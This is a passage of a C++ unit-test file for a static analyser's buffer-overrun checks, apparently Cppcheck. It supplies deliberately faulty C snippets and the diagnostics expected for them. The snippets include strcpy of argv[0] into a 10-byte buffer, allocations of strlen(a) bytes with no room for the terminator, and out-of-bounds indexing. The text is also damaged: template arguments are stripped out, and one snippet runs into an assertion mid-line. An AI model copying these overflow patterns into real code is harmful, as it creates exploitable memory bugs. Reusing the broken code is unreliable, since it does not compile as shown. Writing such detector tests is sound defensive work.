TODO_ASSERT_EQUALS(\"[test.cpp:4]: (error) Buffer overrun possible for long command line arguments.\\n\", \"\", errout_str());\n\n check(\"int main(int argc, const char *const *const argv, char **envp)\\n\"\n \"{\\n\"\n \" char prog[10];\\n\"\n \" strcpy(prog, argv[0]);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (error) Buffer overrun possible for long command line arguments.\\n\", \"\", errout_str());\n\n check(\"int main(const int argc, const char *const *const argv, const char *const *const envp)\\n\"\n \"{\\n\"\n \" char prog[10];\\n\"\n \" strcpy(prog, argv[0]);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (error) Buffer overrun possible for long command line arguments.\\n\", \"\", errout_str());\n\n check(\"int main(int argc, char **argv, char **envp)\\n\"\n \"{\\n\"\n \" char prog[10] = {'\\\\0'};\\n\"\n \" strcat(prog, argv[0]);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (error) Buffer overrun possible for long command line arguments.\\n\", \"\", errout_str());\n\n check(\"int main(const int argc, const char **argv, char **envp)\\n\"\n \"{\\n\"\n \" char prog[10] = {'\\\\0'};\\n\"\n \" strcat(prog, argv[0]);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (error) Buffer overrun possible for long command line arguments.\\n\", \"\", errout_str());\n\n check(\"int main(int argc, const char **argv, char **envp)\\n\"\n \"{\\n\"\n \" char prog[10] = {'\\\\0'};\\n\"\n \" strcat(prog, argv[0]);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (error) Buffer overrun possible for long command line arguments.\\n\", \"\", errout_str());\n\n check(\"int main(const int argc, char **argv, char **envp)\\n\"\n \"{\\n\"\n \" char prog[10] = {'\\\\0'};\\n\"\n \" strcat(prog, argv[0]);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (error) Buffer overrun possible for long command line arguments.\\n\", \"\", errout_str());\n\n check(\"int main(int argc, char **options)\\n\"\n \"{\\n\"\n \" char prog[10];\\n\"\n \" strcpy(prog, options[0]);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (error) Buffer overrun possible for long command line arguments.\\n\", \"\", errout_str());\n\n check(\"int main(int argc, char **options)\\n\"\n \"{\\n\"\n \" char prog[10] = {'\\\\0'};\\n\"\n \" strcat(prog, options[0]);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (error) Buffer overrun possible for long command line arguments.\\n\", \"\", errout_str());\n\n check(\"int main(int argc, char **options)\\n\"\n \"{\\n\"\n \" char prog[10];\\n\"\n \" strcpy(prog, *options);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (error) Buffer overrun possible for long command line arguments.\\n\", \"\", errout_str());\n\n check(\"int main(int argc, char **options)\\n\"\n \"{\\n\"\n \" char prog[10];\\n\"\n \" strcpy(prog+3, *options);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (error) Buffer overrun possible for long command line arguments.\\n\", \"\", errout_str());\n\n check(\"int main(int argc, char **argv, char **envp)\\n\"\n \"{\\n\"\n \" char prog[10];\\n\"\n \" if (strlen(argv[0]) < 10)\\n\"\n \" strcpy(prog, argv[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main(int argc, char **argv, char **envp)\\n\"\n \"{\\n\"\n \" char prog[10] = {'\\\\0'};\\n\"\n \" if (10 > strlen(argv[0]))\\n\"\n \" strcat(prog, argv[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main(int argc, char **argv, char **envp)\\n\"\n \"{\\n\"\n \" char prog[10];\\n\"\n \" argv[0][0] = '\\\\0';\\n\"\n \" strcpy(prog, argv[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5835\n check(\"int main(int argc, char* argv[]) {\\n\"\n \" char prog[10];\\n\"\n \" strcpy(prog, argv[0]);\\n\"\n \" strcpy(prog, argv[0]);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (error) Buffer overrun possible for long command line arguments.\\n\"\n \"[test.cpp:4]: (error) Buffer overrun possible for long command line arguments.\\n\", \"\", errout_str());\n\n // #7964\n check(\"int main(int argc, char *argv[]) {\\n\"\n \" char *strcpy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"int main(int argc, char *argv[]) {\\n\"\n \" char *strcat();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkBufferAllocatedWithStrlen() {\n check(\"void f(char *a) {\\n\"\n \" char *b = new char[strlen(a)];\\n\"\n \" strcpy(b, a);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (error) Buffer is accessed out of bounds.\\n\", \"\", errout_str());\n\n check(\"void f(char *a) {\\n\"\n \" char *b = new char[strlen(a) + 1];\\n\"\n \" strcpy(b, a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char *a) {\\n\"\n \" char *b = new char[strlen(a)];\\n\"\n \" a[0] = '\\\\0';\\n\"\n \" strcpy(b, a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char *a) {\\n\"\n \" char *b = (char *)malloc(strlen(a));\\n\"\n \" b = realloc(b, 10000);\\n\"\n \" strcpy(b, a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char *a) {\\n\"\n \" char *b = (char *)malloc(strlen(a));\\n\"\n \" strcpy(b, a);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (error) Buffer is accessed out of bounds.\\n\", \"\", errout_str());\n\n check(\"void f(char *a) {\\n\"\n \" char *b = (char *)malloc(strlen(a));\\n\"\n \" {\\n\"\n \" strcpy(b, a);\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (error) Buffer is accessed out of bounds.\\n\", \"\", errout_str());\n\n check(\"void f(char *a) {\\n\"\n \" char *b = (char *)malloc(strlen(a) + 1);\\n\"\n \" strcpy(b, a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char *a, char *c) {\\n\"\n \" char *b = (char *)realloc(c, strlen(a));\\n\"\n \" strcpy(b, a);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (error) Buffer is accessed out of bounds.\\n\", \"\", errout_str());\n\n check(\"void f(char *a, char *c) {\\n\"\n \" char *b = (char *)realloc(c, strlen(a) + 1);\\n\"\n \" strcpy(b, a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char *a) {\\n\"\n \" char *b = (char *)malloc(strlen(a));\\n\"\n \" strcpy(b, a);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (error) Buffer is accessed out of bounds.\\n\", \"\", errout_str());\n }\n\n void scope() {\n check(\"class A {\\n\"\n \"private:\\n\"\n \" struct X { char buf[10]; };\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" X x;\\n\"\n \" x.buf[10] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A {\\n\"\n \"public:\\n\"\n \" struct X { char buf[10]; };\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A::X x;\\n\"\n \" x.buf[10] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:10]: (error) Array 'x.buf[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void getErrorMessages() {\n // Ticket #2292: segmentation fault when using --errorlist\n const Check& c = getCheck();\n c.getErrorMessages(this, nullptr);\n // we are not interested in the output - just consume it\n ignore_errout();\n }\n\n void arrayIndexThenCheck() {\n // extracttests.start: volatile int y;\n\n check(\"void f(const char s[]) {\\n\"\n \" if (s[i] == 'x' && i < y) {\\n\"\n \" }\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // No message because i is unknown and thus gets no varid. Avoid an internalError here.\n\n check(\"void f(const char s[], int i) {\\n\"\n \" if (s[i] == 'x' && i < y) {\\n\"\n \" }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Array index 'i' is used before limits check. [arrayIndexThenCheck]\\n\", errout_str());\n\n check(\"void f(const char s[]) {\\n\"\n \" for (int i = 0; s[i] == 'x' && i < y; ++i) {\\n\"\n \" }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (style) Array index 'i' is used before limits check. [arrayIndexThenCheck]\\n\", errout_str());\n\n check(\"void f(const int a[], unsigned i) {\\n\"\n \" if((a[i] < 2) && (i <= 42)) {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Array index 'i' is used before limits check. [arrayIndexThenCheck]\\n\", errout_str());\n\n check(\"void f(const int a[], unsigned i) {\\n\"\n \" if((a[i] < 2) && (42 >= i)) {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Array index 'i' is used before limits check. [arrayIndexThenCheck]\\n\", errout_str());\n\n // extracttests.start: int elen;\n check(\"void f(char* e, int y) {\\n\"\n \" if (e[y] == '/' && elen > y + 1 && e[y + 1] == '?') {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // extracttests.start: int foo(int); int func(int);\n check(\"void f(const int a[], unsigned i) {\\n\"\n \" if(a[i] < func(i) && i <= 42) {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Array index 'i' is used before limits check. [arrayIndexThenCheck]\\n\", errout_str());\n\n check(\"void f(const int a[], unsigned i) {\\n\"\n \" if (i <= 42 && a[i] < func(i)) {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int a[], unsigned i) {\\n\"\n \" if (foo(a[i] + 3) < func(i) && i <= 42) {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Array index 'i' is used before limits check. [arrayIndexThenCheck]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\" // sizeof\n \" sizeof(a)/sizeof(a[i]) && i < 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // extracttests.start: extern int buf[];\n check(\"void f(int i) {\\n\" // ?:\n \" if ((i < 10 ? buf[i] : 1) && (i < 5 ? buf[i] : 5)){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void arrayIndexEarlyReturn() { // #6884\n check(\"extern const char *Names[2];\\n\"\n \"const char* getName(int value) {\\n\"\n \" if ((value < 0) || (value > 1))\\n\"\n \" return \\\"???\\\";\\n\"\n \" const char* name = Names[value]; \\n\"\n \" switch (value) {\\n\"\n \" case 2:\\n\"\n \" break; \\n\"\n \" }\\n\"\n \" return name;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void bufferNotZeroTerminated() {\n check(\"void f() {\\n\"\n \" char c[6];\\n\"\n \" strncpy(c,\\\"hello!\\\",6);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) The buffer 'c' may not be null-terminated after the call to strncpy(). [terminateStrncpy]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char c[6];\\n\"\n \" memcpy(c,\\\"hello!\\\",6);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (warning, inconclusive) The buffer 'c' may not be null-terminated after the call to memcpy().\\n\", \"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char c[6];\\n\"\n \" memmove(c,\\\"hello!\\\",6);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (warning, inconclusive) The buffer 'c' may not be null-terminated after the call to memmove().\\n\", \"\", errout_str());\n }\n\n void negativeMemoryAllocationSizeError() { // #389\n check(\"void f()\\n\"\n \"{\\n\"\n \" int *a;\\n\"\n \" a = new int[-1];\\n\"\n \" delete [] a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:8]: (error) Memory allocation size is negative. [negativeMemoryAllocationSize]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" int *a;\\n\"\n \" a = (int *)malloc( -10 );\\n\"\n \" free(a);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4:8]: (error) Memory allocation size is negative. [negativeMemoryAllocationSize]\\n\", \"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" int *a;\\n\"\n \" a = (int *)malloc( -10);\\n\"\n \" free(a);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4:8]: (error) Memory allocation size is negative. [negativeMemoryAllocationSize]\\n\", \"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" int *a;\\n\"\n \" a = (int *)alloca( -10 );\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4:8]: (error) Memory allocation size is negative. [negativeMemoryAllocationSize]\\n\", \"\", errout_str());\n\n check(\"int* f(int n) {\\n\" // #11145\n \" int d = -1;\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" d = std::max(i, d);\\n\"\n \" int* p = new int[d];\\n\"\n \" return p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:14]: (warning, inconclusive) Memory allocation size is negative. [negativeMemoryAllocationSize]\\n\", errout_str());\n }\n\n void negativeArraySize() {\n check(\"void f(int sz) {\\n\" // #1760 - VLA\n \" int a[sz];\\n\"\n \"}\\n\"\n \"void x() { f(-100); }\");\n ASSERT_EQUALS(\"[test.cpp:2:8]: (error) Declaration of array 'a' with negative size is undefined behaviour [negativeArraySize]\\n\", errout_str());\n\n // don't warn for constant sizes -> this is a compiler error so this is used for static assertions for instance\n check(\"int x, y;\\n\"\n \"int a[-1];\\n\"\n \"int b[x?1:-1];\\n\"\n \"int c[x?y:-1];\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pointerAddition1() {\n check(\"void f() {\\n\"\n \" char arr[10];\\n\"\n \" char *p = arr + 20;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (portability) Undefined behaviour, pointer arithmetic 'arr+20' is out of bounds. [pointerOutOfBounds]\\n\", errout_str());\n\n check(\"char(*g())[1];\\n\" // #7950\n \"void f() {\\n\"\n \" int a[2];\\n\"\n \" int* b = a + sizeof(*g());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define ctu(code) ctu_(code, __FILE__, __LINE__)\n template\n void ctu_(const char (&code)[size], const char* file, int line) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings0, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CTU::FileInfo *ctu = CTU::getFileInfo(tokenizer);\n\n // Check code..\n std::list fileInfo;\n Check& c = getCheck();\n fileInfo.push_back(c.getFileInfo(tokenizer, settings0, \"\"));\n c.analyseWholeProgram(*ctu, fileInfo, settings0, *this); // TODO: check result\n while (!fileInfo.empty()) {\n delete fileInfo.back();\n fileInfo.pop_back();\n }\n delete ctu;\n }\n\n void ctu_malloc() {\n ctu(\"void dostuff(char *p) {\\n\"\n \" p[-3] = 0;\\n\"\n \"}\\n\"\n \"\\n\"\n \"int main() {\\n\"\n \" char *s = malloc(4);\\n\"\n \" dostuff(s);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:11] -> [test.cpp:7:10] -> [test.cpp:2:3]: (error) Array index out of bounds; buffer 'p' is accessed at offset -3. [ctuArrayIndex]\\n\", errout_str());\n\n ctu(\"void dostuff(char *p) {\\n\"\n \" p[4] = 0;\\n\"\n \"}\\n\"\n \"\\n\"\n \"int main() {\\n\"\n \" char *s = malloc(4);\\n\"\n \" dostuff(s);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:11] -> [test.cpp:7:10] -> [test.cpp:2:3]: (error) Array index out of bounds; 'p' buffer size is 4 and it is accessed at offset 4. [ctuArrayIndex]\\n\", errout_str());\n\n ctu(\"void f(int* p) {\\n\" // #10415\n \" int b[1];\\n\"\n \" b[0] = p[5];\\n\"\n \" std::cout << b[0];\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" int* a = new int[1];\\n\"\n \" a[0] = 5;\\n\"\n \" f(a);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:12] -> [test.cpp:9:6] -> [test.cpp:3:12]: (error) Array index out of bounds; 'p' buffer size is 4 and it is accessed at offset 20. [ctuArrayIndex]\\n\", errout_str());\n }\n\n void ctu_array() {\n ctu(\"void dostuff(char *p) {\\n\"\n \" p[10] = 0;\\n\"\n \"}\\n\"\n \"int main() {\\n\"\n \" char str[4];\\n\"\n \" dostuff(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:10] -> [test.cpp:2:5]: (error) Array index out of bounds; 'p' buffer size is 4 and it is accessed at offset 10. [ctuArrayIndex]\\n\", errout_str());\n\n ctu(\"static void memclr( char *data )\\n\"\n \"{\\n\"\n \" data[10] = 0;\\n\"\n \"}\\n\"\n \"\\n\"\n \"static void f()\\n\"\n \"{\\n\"\n \" char str[5];\\n\"\n \" memclr( str );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:11] -> [test.cpp:3:5]: (error) Array index out of bounds; 'data' buffer size is 5 and it is accessed at offset 10. [ctuArrayIndex]\\n\", errout_str());\n\n ctu(\"static void memclr( int i, char *data )\\n\"\n \"{\\n\"\n \" data[10] = 0;\\n\"\n \"}\\n\"\n \"\\n\"\n \"static void f()\\n\"\n \"{\\n\"\n \" char str[5];\\n\"\n \" memclr( 0, str );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:11] -> [test.cpp:3:5]: (error) Array index out of bounds; 'data' buffer size is 5 and it is accessed at offset 10. [ctuArrayIndex]\\n\", errout_str());\n\n ctu(\"static void memclr( int i, char *data )\\n\"\n \"{\\n\"\n \" data[i] = 0;\\n\"\n \"}\\n\"\n \"\\n\"\n \"static void f()\\n\"\n \"{\\n\"\n \" char str[5];\\n\"\n \" memclr( 10, str );\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:9] -> [test.cpp:3]: (possible error) Array index out of bounds.\\n\",\n \"\", errout_str());\n\n // This is not an error\n ctu(\"static void memclr( char *data, int size )\\n\"\n \"{\\n\"\n \" if( size > 10 )\"\n \" data[10] = 0;\\n\"\n \"}\\n\"\n \"\\n\"\n \"static void f()\\n\"\n \"{\\n\"\n \" char str[5];\\n\"\n \" memclr( str, 5 );\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #2097\n ctu(\"void foo(int *p)\\n\"\n \"{\\n\"\n \" --p;\\n\"\n \" p[2] = 0;\\n\"\n \"}\\n\"\n \"\\n\"\n \"void bar()\\n\"\n \"{\\n\"\n \" int p[3];\\n\"\n \" foo(p+1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9112\n ctu(\"static void get_mac_address(const u8 *strbuf)\\n\"\n \"{\\n\"\n \" (strbuf[2]);\\n\"\n \"}\\n\"\n \"\\n\"\n \"static void program_mac_address(u32 mem_base)\\n\"\n \"{\\n\"\n \" u8 macstrbuf[17] = { 0 };\\n\"\n \" get_mac_address(macstrbuf);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9788\n ctu(\"void f1(char *s) { s[2] = 'B'; }\\n\"\n \"void f2(char s[]) { s[2] = 'B'; }\\n\"\n \"void g() {\\n\"\n \" char str[2];\\n\"\n \" f1(str);\\n\"\n \" f2(str);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:7] -> [test.cpp:1:20]: (error) Array index out of bounds; 's' buffer size is 2 and it is accessed at offset 2. [ctuArrayIndex]\\n\"\n \"[test.cpp:6:7] -> [test.cpp:2:21]: (error) Array index out of bounds; 's' buffer size is 2 and it is accessed at offset 2. [ctuArrayIndex]\\n\",\n errout_str());\n\n // #5140\n ctu(\"void g(const char* argv[]) { std::cout << \\\"argv: \\\" << argv[4] << std::endl; }\\n\"\n \"void f() {\\n\"\n \" const char* argv[] = { \\\"test\\\" };\\n\"\n \" g(argv);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6] -> [test.cpp:1:55]: (error) Array index out of bounds; 'argv' buffer size is 1 and it is accessed at offset 4. [ctuArrayIndex]\\n\",\n errout_str());\n\n ctu(\"void g(const char* argv[]) { std::cout << \\\"argv: \\\" << argv[5] << std::endl; }\\n\"\n \"void f() {\\n\"\n \" const char* argv[1] = { \\\"test\\\" };\\n\"\n \" g(argv);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6] -> [test.cpp:1:55]: (error) Array index out of bounds; 'argv' buffer size is 1 and it is accessed at offset 5. [ctuArrayIndex]\\n\",\n errout_str());\n\n ctu(\"void g(int *b) { b[0] = 0; }\\n\"\n \"void f() {\\n\"\n \" GLint a[1];\\n\"\n \" g(a);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n ctu(\"const int a[1] = { 1 };\\n\" // #11042\n \"void g(const int* d) {\\n\"\n \" (void)d[2];\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" g(a);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:6] -> [test.cpp:3:11]: (error) Array index out of bounds; 'd' buffer size is 4 and it is accessed at offset 8. [ctuArrayIndex]\\n\",\n errout_str());\n }\n\n void ctu_variable() {\n ctu(\"void dostuff(int *p) {\\n\"\n \" p[10] = 0;\\n\"\n \"}\\n\"\n \"int main() {\\n\"\n \" int x = 4;\\n\"\n \" dostuff(&x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:10] -> [test.cpp:2:5]: (error) Array index out of bounds; 'p' buffer size is 4 and it is accessed at offset 40. [ctuArrayIndex]\\n\", errout_str());\n }\n\n void ctu_arithmetic() {\n ctu(\"void dostuff(int *p) { x = p + 10; }\\n\"\n \"int main() {\\n\"\n \" int x[3];\\n\"\n \" dostuff(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10] -> [test.cpp:1:28]: (error) Pointer arithmetic overflow; 'p' buffer size is 12 [ctuPointerArith]\\n\", errout_str());\n\n ctu(\"void f(const char *p) {\\n\" // #11361\n \" const char* c = p + 1;\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" const char s[N] = \\\"ab\\\";\\n\"\n \" f(s);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void objectIndex() {\n check(\"int f() {\\n\"\n \" int i;\\n\"\n \" return (&i)[1];\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:13] -> [test.cpp:3:16]: (error) The address of variable 'i' is accessed at non-zero index. [objectIndex]\\n\",\n errout_str());\n\n check(\"int f(int j) {\\n\"\n \" int i;\\n\"\n \" return (&i)[j];\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:13] -> [test.cpp:3:16]: (warning) The address of variable 'i' might be accessed at non-zero index. [objectIndex]\\n\",\n errout_str());\n\n check(\"int f() {\\n\"\n \" int i;\\n\"\n \" return (&i)[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int * i) {\\n\"\n \" return i[1];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::vector i) {\\n\"\n \" return i[1];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::vector i) {\\n\"\n \" return i.data()[1];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int* f(std::vector& i) {\\n\"\n \" return &(i[1]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int i; int j; };\\n\"\n \"int f() {\\n\"\n \" A x;\\n\"\n \" return (&x.i)[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int i; int j; };\\n\"\n \"int f() {\\n\"\n \" A x;\\n\"\n \" int * i = &x.i;\\n\"\n \" return i[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x = 0;\\n\"\n \" std::map m;\\n\"\n \" m[0] = &x;\\n\"\n \" m[1] = &x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" std::map m;\\n\"\n \" m[0] = &x;\\n\"\n \" return m[0][1];\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:10] -> [test.cpp:5:14]: (error) The address of variable 'x' is accessed at non-zero index. [objectIndex]\\n\",\n errout_str());\n\n check(\"int x = 0;\\n\"\n \"int f() {\\n\"\n \" std::map m;\\n\"\n \" m[0] = &x;\\n\"\n \" return m[0][1];\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:10] -> [test.cpp:5:14]: (error) The address of variable 'x' is accessed at non-zero index. [objectIndex]\\n\",\n errout_str());\n\n check(\"int f(int * y) {\\n\"\n \" int x = 0;\\n\"\n \" std::map m;\\n\"\n \" m[0] = &x;\\n\"\n \" m[1] = y;\\n\"\n \" return m[1][1];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void print(char** test);\\n\"\n \"int main(){\\n\"\n \" char* test = \\\"abcdef\\\";\\n\"\n \" print(&test);\\n\"\n \" return 0;\\n\"\n \"}\\n\"\n \"void print(char** test){\\n\"\n \" for(int i=0;i [test.cpp:4] -> [test.cpp:9]: (warning) The address of local variable 'test' might be accessed at non-zero index.\\n\",\n \"\",\n errout_str());\n\n check(\"void Bar(uint8_t data);\\n\"\n \"void Foo(const uint8_t * const data, const uint8_t length) {\\n\"\n \" for(uint8_t index = 0U; index < length ; ++index)\\n\"\n \" Bar(data[index]);\\n\"\n \"}\\n\"\n \"void test() {\\n\"\n \" const uint8_t data = 0U;\\n\"\n \" Foo(&data,1U);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int n, int* p) {\\n\"\n \" int res = 0;\\n\"\n \" for(int i = 0; i < n; i++ )\\n\"\n \" res += p[i];\\n\"\n \" return res;\\n\"\n \"}\\n\"\n \"int bar() {\\n\"\n \" int single_value = 0;\\n\"\n \" return foo(1, &single_value);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const char* app, size_t applen) {\\n\" // #10137\n \" char* tmp_de = NULL;\\n\"\n \" char** str = &tmp_de;\\n\"\n \" char* tmp = (char*)realloc(*str, applen + 1);\\n\"\n \" if (tmp) {\\n\"\n \" *str = tmp;\\n\"\n \" memcpy(*str, app, applen);\\n\"\n \" (*str)[applen] = '\\\\0';\\n\"\n \" }\\n\"\n \" free(*str);\\n\"\n \"}\\n\", dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template \\n\"\n \"using vector = Eigen::Matrix;\\n\"\n \"template \\n\"\n \"void scharr(image2d>& out) {\\n\"\n \" vector* out_row = &out(r, 0);\\n\"\n \" out_row[c] = vector(1,2);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const uint8_t* d, const uint8_t L) {\\n\" // #10092\n \" for (uint8_t i = 0U; i < L; ++i)\\n\"\n \" g(d[i]);\\n\"\n \"}\\n\"\n \"void h() {\\n\"\n \" const uint8_t u = 4;\\n\"\n \" f(&u, N);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"uint32_t f(uint32_t u) {\\n\" // #10154\n \" return ((uint8_t*)&u)[3];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"uint32_t f(uint32_t u) {\\n\"\n \" return ((uint8_t*)&u)[4];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:23] -> [test.cpp:2:26]: (error) The address of variable 'u' is accessed at non-zero index. [objectIndex]\\n\", errout_str());\n\n check(\"uint32_t f(uint32_t u) {\\n\"\n \" return reinterpret_cast(&u)[3];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"uint32_t f(uint32_t u) {\\n\"\n \" return reinterpret_cast(&u)[4];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:45] -> [test.cpp:2:48]: (error) The address of variable 'u' is accessed at non-zero index. [objectIndex]\\n\", errout_str());\n\n check(\"uint32_t f(uint32_t u) {\\n\"\n \" uint8_t* p = (uint8_t*)&u;\\n\"\n \" return p[3];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"uint32_t f(uint32_t u) {\\n\"\n \" uint8_t* p = (uint8_t*)&u;\\n\"\n \" return p[4];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:28] -> [test.cpp:3:13]: (error) The address of variable 'u' is accessed at non-zero index. 